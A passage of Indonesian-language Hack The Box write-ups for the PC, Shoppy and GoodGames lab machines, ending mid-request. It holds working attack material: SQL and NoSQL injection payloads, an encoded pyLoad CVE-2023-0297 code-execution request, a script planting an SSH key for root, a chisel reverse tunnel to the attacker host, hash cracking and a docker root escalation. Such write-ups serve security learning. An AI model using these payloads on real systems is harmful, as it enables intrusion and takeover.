|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   162.85 ms 10.10.14.1
2   162.87 ms 10.10.11.214

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 23 19:45:13 2023 -- 1 IP address (1 host up) scanned in 21.09 seconds

```

Dari initial port scan tidak ada port atau service yang dapat kita eksploitasi. Kita cuma lakukan full port scanning.

### Full Port Scanning

```bash
nmap -Pn -p- -T4 -oA nmap/nmap_full pc.htb
```

Output:

```
map scan report for pc.htb (10.10.11.214)
Host is up (0.14s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
50051/tcp open  unknown

# Nmap done at Tue May 23 19:48:39 2023 -- 1 IP address (1 host up) scanned in 162.61 seconds
```

Kita coba scan ulang di port 50051.

```bash
nmap -p 50051 -sV -sC -Pn pc.htb
```

Output:

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 22:33 WIB
Nmap scan report for pc.htb (10.10.11.214)
Host is up (0.15s latency).

PORT      STATE SERVICE VERSION
50051/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.93%I=7%D=5/23%Time=646CDCC3%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");

```

Jujur saja saya masih belum memiliki gambaran mengenai service apa yang berjalan di port **50051** ini.&#x20;

Namun berdasarkan dua referensi berikut, ada indikasi bahwa service gRPC berjalan pada port ini.

Referensi:

* <https://stackoverflow.com/questions/55990378/i-tried-to-deploy-grpc-go-server-in-docker-and-expose-port-in-local-port-but-p>
* <https://hackaday.com/2021/12/17/this-week-in-security-log4j-pdf-cpu-and-i-hack-starlink/>

Selanjutnya yang saya butuhkan adalah gRPC client. Saya sendiri akhirnya menggunakan grpcui untuk berinteraksi dengan port 50051 ini.

Referensi:

* <https://github.com/grpc-ecosystem/awesome-grpc#tools-gui>
* <https://github.com/fullstorydev/grpcui>

### Exploitation

Jalankan grpcui untuk terhubung dengan port 50051.

```
grpcui -plaintext 10.10.11.214:50051
```

Maka gRPC client dapat diakses melalui browser.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FKuZeeQULCDtfFo0g8XXo%2Fgrpc%20client.png?alt=media&amp;token=15980435-32e4-45c0-9bfb-5b2a0f2650d4" alt=""><figcaption></figcaption></figure>

Jangan lupa untuk menghubungkan browser dengan Burp Suite agar kita lebih mudah untuk menganalisa request serta respose dari aplikasi.

Disini saya coba untuk login menggunakan default credential admin:admin ternyata berhasil.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fpl2e204hUyMVP85YRYBj%2Flogin%20default%20user.png?alt=media&amp;token=6c736b1d-a42f-49d2-b8f2-d76a49e40863" alt=""><figcaption></figcaption></figure>

Token yang didapat bisa digunakan untuk mengakses endpoint /invoke/SimpleApp.getInfo.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FN9E8VRHuYpcwAJZhtCyp%2Fgetinfo%20endpoint.png?alt=media&amp;token=37122abe-205f-4ce5-8e5b-dc4a867789b7" alt=""><figcaption></figcaption></figure>

Namun karena tidak ada informasi menarik, saya langsung lempar requestnya ke sqlmap.

File **sqli.req**

```
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:45949
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: DA7-YHBzXVD_AcnqlKF0lP4j4doAIIEt5yuBwGvvmP0
X-Requested-With: XMLHttpRequest
Content-Length: 191
Origin: http://127.0.0.1:45949
Connection: close
Referer: http://127.0.0.1:45949/
Cookie: _grpcui_csrf_token=DA7-YHBzXVD_AcnqlKF0lP4j4doAIIEt5yuBwGvvmP0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.xxx"}],"data":[{"id":"1*"}]}
```

#### SQL Injection

```
sqlmap -r sqli.req --dump
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FTJPlisDcMgXdlk2jKnZa%2Fsqli%20grpc.png?alt=media&amp;token=5843ecfc-4142-428d-a1b1-ec4721f4d7fb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fe7VJjt88cfPLZ2OqSnr8%2Fsql%20injection.png?alt=media&amp;token=21c85d0f-12d3-452b-8dc8-78a801001172" alt=""><figcaption><p>Get Credentials</p></figcaption></figure>

### Initial Access

Dari kredensial yang didapat melalui SQL Injection, karena tidak ada service lain yang bisa dicoba, kita langsung bisa coba gunakan kredensial tersebut untuk mengakses SSH.

```
ssh sau@pc.htb
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FfWbkebVg4DX7KAynNe9O%2Flow%20user.png?alt=media&amp;token=d7848e11-2f4c-4bac-aa5c-45462a1c0804" alt=""><figcaption><p>Low User Owned</p></figcaption></figure>

## Post Exploitation

Untuk mendapatkan akses root, saya mencoba enumerasi service dan juga kemungkinan kesalahan konfigurasi menggunakan [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Namun beberapa PE Vector yang terdeteksi tidak berhasil dieksploitasi.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FwZiVpMpBd3Moo9nJkEMA%2Flinpeas.png?alt=media&amp;token=d12617fe-2fb9-4f8d-9c22-5ed5103b469a" alt=""><figcaption><p>LinPEAS</p></figcaption></figure>

Selanjutnya kita coba inspeksi manual. Pertama, kita jalankan perintah netstat untuk melihat service yang mungkin berjalan di internal.

```
netstat -tlpn
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FmXbcjRCZCnGMuTY3Cmsj%2Fnetstat%20as%20users.png?alt=media&amp;token=7b8aafb4-8454-4493-98f5-d0e7d03a6695" alt=""><figcaption><p>Find service at port 8000</p></figcaption></figure>

Sekarang kita coba ekspos service yang berjalan di port 8000 tersebut. Kita bisa gunakan tool [chisel](https://github.com/jpillora/chisel).

Dari mesin attacker jalankan perintah

```
chisel server -p 2525 --socks5 --reverse -v
```

Sementara dari sisi server target, jalankan perintah:

```
./chisel client 10.10.14.46:2525 R:8001:127.0.0.1:8000
```

Sekarang, service tersebut dapat kita akses dari port **8001** di mesin kita.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fe3Gbe1vGok5FFKsmMl5U%2Fpyload%20services.png?alt=media&amp;token=e3cf9892-76d6-49da-aa10-7066f075ed90" alt=""><figcaption><p>pyLoad</p></figcaption></figure>

Dari hasil searching, ditemukan exploit untuk pyLoad yakni [**CVE-2023-0297**](https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/).

Pertama, langsung saya coba PoC yang terdapat halaman huntr.

```
curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:8001' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
    --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&passwords=aaaa' \
    $'http://127.0.0.1:8001/flash/addcrypted2'
```

Ternyata berhasil. Pada direktori /tmp di server terdapat file **pwnd**. Menariknya, file tersebut dimiliki oleh user **root**.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FEPLaJMiadhu9ZueHdxtQ%2F2.png?alt=media&amp;token=6ce020c2-4021-45f5-be40-94f06a81a363" alt=""><figcaption><p>root file</p></figcaption></figure>

Kita bisa gunakan kerentanan ini untuk mendapatkan akses root. Caranya, kita buat file terlebih dahulu di direktori /tmp.

File **root-pwn.sh**

```
#/bin/bash
mkdir /root/.ssh
touch /root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADx...YlTvNrQ== haibara@htb" | tee -a /root/.ssh/authorized_keys
```

Beri hak akses eksekusi pada file tersebut:

```
chmod +x /tmp/root-pwn.sh
```

Lalu ubah payloadnya agar mengeksekusi script tersebut.

```
pyimport os;os.system("/bin/bash /tmp/root-pwn.sh")
```

Final requests:

```
curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:8001' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
    --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%2f%62%69%6e%2f%62%61%73%68%20%2f%74%6d%70%2f%72%6f%6f%74%2d%70%77%6e%2e%73%68%22%29;f=function%20f2(){};&passwords=aaaa' \
    $'http://127.0.0.1:8001/flash/addcrypted2'
```

Sekarang kita login ssh ke user root menggunakan key yang sudah kita tanam.

```
ssh -i ~/.ssh/htbkey_rsa root@pc.htb
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FLb15j6DTfB8VjmnIdH0f%2Froot.png?alt=media&amp;token=e8e26720-7cdc-4931-9e64-9982ec042046" alt=""><figcaption><p>PC Owned</p></figcaption></figure>

Oke sekian sharing kali ini, semoga bermanfaat.


# Shoppy

Writeup mesin Hack The Box Shoppy

### Port Scanning

```bash
sudo nmap -sV -sT -sC -oN nmap_initial -T4 shoppy.htb
```

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
|   256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_  256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp open  http    nginx 1.23.1
|_http-title:             Shoppy Wait Page        
|_http-server-header: nginx/1.23.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Hasil dari port scanning hanya menunjukkan port 80 dan 22. Sambil menunggu full port scan, kita bisa enumerasi directory dan subdomain.

### Directory Scanning

```
ffuf -recursion-depth 3 -t 100 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://shoppy.htb/FUZZ -r
......
________________________________________________

login                   [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 559ms]
admin                   [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 261ms]

```

### Vhost Discovery

```bash
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://shoppy.htb -H "Host: FUZZ.shoppy.htb"
....
________________________________________________

mattermost              [Status: 200, Size: 3122, Words: 141, Lines: 1, Duration: 195ms]
```

Jangan lupa tambahkan subdomain yang kita temukan ke /etc/hosts.

Oke dari enumerasi awal, kita mendapatkan data berikut:

* Open Port: 80, 22
* Admin Page: <http://shoppy.htb/admin>
* Other Subdomain: <http://mattermost.shoppy.htb/>

### Initial Access

NoSQL Injection at Login Page

Setelah beberapa kali melakukan fuzzing dan trial error, saya berhasil masuk ke dashboard admin menggunakan payload berikut:

```
admin'||1==1%00
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2F6C1v5uU6LELwfxSLqJk7%2Fsql%20injection.png?alt=media&amp;token=ae6b2f88-4f77-4b5a-a553-19c8b63e0d7d" alt=""><figcaption><p>NoSQL Auth Bypass</p></figcaption></figure>

Referensi:

{% embed url="<https://book.hacktricks.xyz/pentesting-web/nosql-injection>" %}

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FCOSYQIdo5X645yNFId3C%2Fdashboard%20admin.png?alt=media&amp;token=e3827f2f-be03-4f22-ba4f-805d16b1586d" alt=""><figcaption></figcaption></figure>

Tidak banyak menu yang bisa di explore. Jadi kita langsung coba cek di menu Search for Users. Kita gunakan payload yang sebelumnya kita pakai untuk masuk.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fe3TXCTcgSoUa2BWZUSqQ%2Fsearch%20sqli.png?alt=media&amp;token=df5fa620-2c07-45d5-a0a5-5423b98d33bd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fs9EOpZtTa1sqmCJ0IH0M%2Fusername%20lists.png?alt=media&amp;token=f0f85c05-06e6-4281-99c0-29eec95cd239" alt=""><figcaption></figcaption></figure>

Menggunakan hash-identifier, kita bisa mengetahui jenis hash nya.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2F3QGCAeYK0GhB5NfTuQc3%2Fhashid.png?alt=media&amp;token=00d49909-dbda-48ff-8026-64af72f3d8e2" alt=""><figcaption></figcaption></figure>

Menggunakan wordlist rockyou yang ada di Kali Linux, kita crack dua hash password yang kita dapat sebelumnya menggunakan hashcat.

```
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.lst 
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FDvTTJzcZSIfQw6Df3lnW%2Fhash%20cracked.png?alt=media&amp;token=5d85d0a9-9927-4596-b7b2-f52e3e0318f3" alt=""><figcaption></figcaption></figure>

Satu password berhasil di crack, yakni password milik **josh**.

```
6ebcea65320589ca4f2f1ce039975995:remembermethisway
```

Kita gunakan kredensial tersebut untuk login ke dashboard Mattermost.

Akses:

* Login: **<http://mattermost.shoppy.htb/>**
* Username: **josh**
* Password: **remembermethisway**

Pada channel Deploy Machine, kita akan mendapatkan history chat yang menampikan kredensial yang dapat kita gunakan untuk login SSH.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FDhEW8njJcDmWeDHMgKhT%2Fjaegar%20creds%20ssh.png?alt=media&amp;token=3299dfac-acc1-4a51-9b9f-a3a7cc7caee2" alt=""><figcaption><p>SSH Creds</p></figcaption></figure>

### Get User Flag

Login ke server menggunakan kredensial yang didapat sebelumnya.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2F04J3zbnaIoiH6HlzwOGG%2Fuser%20pwned.png?alt=media&amp;token=cf8855a6-8238-4886-af27-f4b04d8ac4ff" alt=""><figcaption></figcaption></figure>

### Privilege Escalation

Pertama, jalankan command

```
sudo -l
```

Dan masukkan password user jaegar yang kita dapat sebelumnya.

```
User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager
```

Selanjutnya kita jalankan command

```
sudo -u deploy /home/deploy/password-manager
```

Namun ternyata kita harus memasukkan password.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FH5faIg5XuNwosw6I5jbe%2Fwrong%20password%20manager.png?alt=media&amp;token=72290bfb-9987-41ae-8318-dc4f072d22ea" alt=""><figcaption></figcaption></figure>

Oke, selanjutnya kita download file password-manager ke mesin kita. Lalu kita coba analisa menggunakan **Cutter**. Tidak diperlukan skill reverse engineering disini (karena ini juga mesin dengan kategori Easy), dan Master Password nya bisa langsung kita temukan karena disimpansecara hard-coded didalam aplikasi.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2F7R4ORGNZ9pw9cBb7uBXZ%2Fcutter.png?alt=media&amp;token=a1c7ad8f-9b74-4a30-b338-053604a97297" alt=""><figcaption></figcaption></figure>

Selanjutnya kita gunakan password yang kita dapatkan dari step sebelumnya untuk mengeksekusi password-manager.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FIAOHIXuigkBqlH6o2LTw%2Fpass%20manager%20leak.png?alt=media&amp;token=3f71cbc5-0fe9-4eef-874a-0e13b1768d35" alt=""><figcaption></figcaption></figure>

Selanjutnya kita gunakan kredensial tersebut untuk login ke user deploy.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2F2iqMG2GZzWUyaznJFZSa%2Fuser%20deploy.png?alt=media&amp;token=86e3401a-05a4-433f-9c2c-6eba5d01e815" alt=""><figcaption><p>Move to user deploy</p></figcaption></figure>

Saat menjalankan perintah **sudo -l** kita mendapati error

```
Sorry, user deploy may not run sudo on shoppy.
```

Setelah menjalankan LinPEAS, kita mendapati info bahwa docker kemungkinan adalah PE Vector.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fb3nyxMxFgUb1xcV5CEu4%2FDeployDocker%20PE%20Vector.png?alt=media&amp;token=4ac34e4c-9409-451d-80b7-d991da8cd492" alt=""><figcaption><p>PE via Docker</p></figcaption></figure>

Untuk trick PE via docker, kita bisa cek di GTFObins.

* <https://gtfobins.github.io/gtfobins/docker/>

```bash
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FW1ey5W5NHBM5f8TvbWdH%2Froot%20pwned.png?alt=media&amp;token=ca54c52c-510e-44e2-af5c-03d535b06cfe" alt=""><figcaption><p>Rooted</p></figcaption></figure>

Oke mungkin itu saja write-up kali ini. Semoga ada yang bisa dipelajari dari writeup mesin Shoppy.


# GoodGames

Writeup mesin Hack The Box GoodGames

### Port Scanning

Langkah pertama yang dilakukan adalah melakukan port scanning menggunakan nmap.

```
asuka@linuxsec:~$ sudo nmap -sV -sT -sC 10.129.96.71 | tee nmap-res.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-16 11:43 WIB
Nmap scan report for goodgames.htb (10.129.96.71)
Host is up (0.32s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.48
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.88 seconds
```

Oke, dari hasil scanning sepertinya hanya ada satu port yang terbuka yakni port 80.

### Vhost Discovery

Selanjutnya adalah melakukan enumerasi subdomain dari goodgames.htb. Disini saya menggunakan ffuf.

```
asuka@linuxsec:~$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://goodgames.htb -H "Host: FUZZ.goodgames.htb" -fs 85107,0 -t 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://goodgames.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.goodgames.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 85107,0
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 222 req/sec :: Duration: [0:09:02] :: Errors: 0 ::
```

Kita tidak menemukan subdomain dari goodgames.htb sehingga eksploitasi kita hanya akan berfokus pada domain utama saja.

### Directory Scanning

Langkah selanjutnya adalah melakukan scanning directory pada goodgames.htb.

```
asuka@linuxsec:~$ ffuf -recursion-depth 3 --mc 200,302,500 -t 100 -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -H "User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5" -u http://goodgames.htb/FUZZ -fs 9265

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://goodgames.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 :: Header           : User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,302,500
 :: Filter           : Response size: 9265
________________________________________________

blog                    [Status: 200, Size: 44212, Words: 15590, Lines: 909, Duration: 828ms]
c7                      [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 2446ms]
coming-soon             [Status: 200, Size: 10524, Words: 2489, Lines: 287, Duration: 1128ms]
forgot-password         [Status: 200, Size: 32744, Words: 10608, Lines: 730, Duration: 660ms]
images_matrix           [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 8154ms]
logout                  [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 687ms]
login                   [Status: 200, Size: 9294, Words: 2101, Lines: 267, Duration: 1684ms]
profile                 [Status: 200, Size: 9267, Words: 2093, Lines: 267, Duration: 689ms]
racing                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 4757ms]
reklame                 [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3327ms]
signup                  [Status: 200, Size: 33387, Words: 11042, Lines: 728, Duration: 1009ms]
:: Progress: [20476/20476] :: Job [1/1] :: 68 req/sec :: Duration: [0:04:11] :: Errors: 0 ::

```

Tidak banyak direktori ataupun file sensitif yang bisa dimanfaatkan. Namun disini kita menemukan url untuk melakukan registrasi,login, dan reset password yang mungkin bisa kita manfaatkan.

Oke dari tahap recon awal kita mendapatkan informasi berikut:

* Website goodgames.htb menggunakan Werkzeug
* Tidak ada file sensitif yang terekspos selama proses enumerasi sehingga ekspoitasi kita akan berfokus pada fitur login, register, dan reset password.

### Exploitation

Yang pertama kita coba adalah halaman login. Kita bisa mencoba beberapa kombinasi default credentials seperti **<admin@goodgames.htb>**:**password**, **<admin@goodgames.htb>**:**admin**, dll. Tidak berhasil. Selanjutnya kita coba eksploitasi paling umum pada halaman login, SQL Injection.

Kalian bisa gunakan sqlmap atau kalau kalian ingin lebih mengasal skill kalian bisa gunakan cara manual. Saya sudah pernah menulis artikel tentang [Union Based SQL Injection](https://exploit.linuxsec.org/tutorial-sql-injection-manual/). Singkatnya, payload akhir kita adalah:

```
POST /login HTTP/1.1
Host: goodgames.htb
Content-Length: 116
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://goodgames.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
